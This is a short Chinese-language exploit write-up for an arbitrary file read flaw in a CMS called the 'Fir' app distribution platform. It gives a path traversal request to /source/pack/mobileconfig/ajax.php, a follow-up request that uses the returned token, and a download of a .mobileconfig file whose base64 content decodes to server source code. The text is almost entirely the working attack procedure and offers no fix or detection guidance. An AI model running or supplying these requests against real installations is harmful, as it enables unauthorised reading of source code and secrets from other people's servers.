Fir分发平台某处任意文件读取漏洞

CMS 目录结构：

data
source
static
.htaccess
.user.ini
admin.php
app.php
favicon.ico
index.php
install.php
robots.txt

漏洞利用判断文件：/source/pack/mobileconfig/ajax.php

利用第一步：

/source/pack/mobileconfig/ajax.php?ac=mobileconfig&title=1&url=1&aicon=../../../index.php

会得到一个：312-1656570391

利用第二步：

/source/pack/upload/index-mobileconfig.php?time=上一步获取的值填写到这里&id=0

成功后得到返回 1

紧接着来到个人中心，会看到一个生成的APP

然后点击进入APP详情

/source/index/ajax_profile.php?ac=downapp&id=ID值每个不同

最后下载到本地一个 .mobileconfig 文件，打开。

把这里的base64 解码。

得到源码。